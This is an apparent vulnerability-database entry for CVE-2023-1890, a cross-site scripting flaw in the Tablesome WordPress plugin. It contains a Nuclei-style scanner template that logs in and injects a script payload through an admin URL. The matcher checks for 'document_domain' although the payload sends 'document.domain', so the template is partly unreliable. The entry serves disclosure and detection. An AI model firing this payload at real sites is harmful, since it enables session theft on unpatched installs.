CVE-2023-1890: Tablesome < 1.0.9 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Tablesome | POC: 已公开

漏洞描述

Tablesome before 1.0.9 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC代码[已公开]

id: CVE-2023-1890

info:
  name: Tablesome < 1.0.9 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Tablesome before 1.0.9 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 1.0.9.
  reference:
    - https://wpscan.com/vulnerability/8ef64490-30cd-4e07-9b7c-64f551944f3d
    - https://wordpress.org/plugins/tablesome/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1890
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1890
    cwe-id: CWE-79
    epss-score: 0.09155
    epss-percentile: 0.92389
    cpe: cpe:2.3:a:pauple:tablesome:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: pauple
    product: tablesome
    framework: wordpress
  tags: cve2023,cve,wpscan,wp,wp-plugin,wordpress,authenticated,xss,tablesome,pauple

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?post_type=tablesome_cpt&a%22%3e%3cscript%3ealert`document.domain`%3c%2fscript%3e HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert`document_domain`</script>")'
          - 'contains(body_2, "tablesome")'
        condition: and
# digest: 490a0046304402202015b0dbe7615fe47740dde05809adc9b86368ae575ec76b67b54800e023c3bf02206ed7abc62d109aa4b08f2d218a0e5b5bccdada7b95d9d2b68a558d73eaa6a581:922c64590222798bb761d5b6d8e72950